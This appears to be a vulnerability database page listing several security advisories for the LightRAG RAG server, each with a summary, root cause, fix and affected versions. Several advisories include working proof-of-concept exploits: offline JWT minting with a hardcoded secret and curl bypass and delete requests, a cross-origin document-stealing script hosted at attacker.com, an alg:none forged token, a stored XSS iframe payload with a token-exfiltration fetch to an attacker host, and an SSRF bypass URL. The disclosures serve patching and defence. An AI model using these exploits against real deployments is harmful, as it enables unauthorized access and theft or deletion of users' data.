Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Sep 22, 2025

1.4.8.2 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

